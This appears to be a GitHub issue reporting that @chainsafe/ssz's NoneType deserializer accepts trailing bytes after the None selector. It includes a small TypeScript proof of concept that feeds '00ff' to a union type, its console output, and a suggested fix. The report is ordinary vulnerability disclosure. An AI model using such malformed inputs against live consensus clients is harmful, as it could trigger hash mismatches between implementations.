-
-
Notifications
You must be signed in to change notification settings - Fork 23
Open
Description
Describe the bug
When the None variant (selector 0x00) is selected, the payload should be strictly zero-length. Vulnerable implementations may parse the selector, then ignore any trailing bytes in the payload, leading to hash mismatches.
Expected behavior
The value_deserializeFromBytes method for NoneType should be updated to strictly assert that _data (specifically the range start to end) contains no bytes. If end - start is not 0, it should throw an error.
Steps to Reproduce
The value_deserializeFromBytes method for NoneType in /packages/ssz/src/type/none.ts ignores any trailing bytes when the selector is 0x00:
value_deserializeFromBytes(_data: ByteViews, _start: number): null {
return null;
}PoC
import { NoneType, UintNumberType, UnionType } from "@chainsafe/ssz";
// Define a simple Union type: Union[None, Uint8]
// Selector 0 for NoneType, Selector 1 for Uint8
const noneType = new NoneType(); // Fixed: Removed redundant 'new'
const uint8Type = new UintNumberType(1); // Represents a uint8
const customUnionType = new UnionType([noneType, uint8Type]);
// --- PoC for Dirty Tail on None ---
// Goal: Demonstrate that @chainsafe/ssz deserializes a Union type
// with selector 0 (None) and unexpected trailing data without error.
console.log("--- Lodestar (chainsafe/ssz) PoC: Dirty Tail on None ---");
// 1. Construct a dirty input
// Selector 0x00 for NoneType, followed by a dirty byte 0xFF
const dirtyBytes = Buffer.from("00ff", "hex");
console.log(`Attempting to deserialize dirty bytes: ${dirtyBytes.toString('hex')}`);
try {
const deserialized = customUnionType.deserialize(dirtyBytes);
// If we reach here, deserialization was successful.
// Check if it's the None variant as expected.
if (deserialized.selector === 0 && deserialized.value === null) {
console.log("SUCCESS: Deserialized to None variant as expected.");
console.log("VULNERABILITY CONFIRMED: @chainsafe/ssz accepts dirty tail on None variant.");
console.log(`Deserialized value: Selector ${deserialized.selector}, Value: ${deserialized.value}`);
} else {
console.error("FAILURE: Deserialized to an unexpected value. PoC logic might need adjustment.");
console.error(`Deserialized value: Selector ${deserialized.selector}, Value: ${deserialized.value}`);
}
} catch (error: any) {
// If an error is thrown, it means the client correctly rejected the dirty input.
console.log(`Client correctly rejected dirty bytes. Not vulnerable. Error: ${error.message}`);
}
console.log("--- PoC End ---");Output:
--- Lodestar (chainsafe/ssz) PoC: Dirty Tail on None ---
Attempting to deserialize dirty bytes: 00ff
SUCCESS: Deserialized to None variant as expected.
VULNERABILITY CONFIRMED: @chainsafe/ssz accepts dirty tail on None variant.
Deserialized value: Selector 0, Value: null
--- PoC End ---
Metadata
Metadata
Assignees
Labels
No labels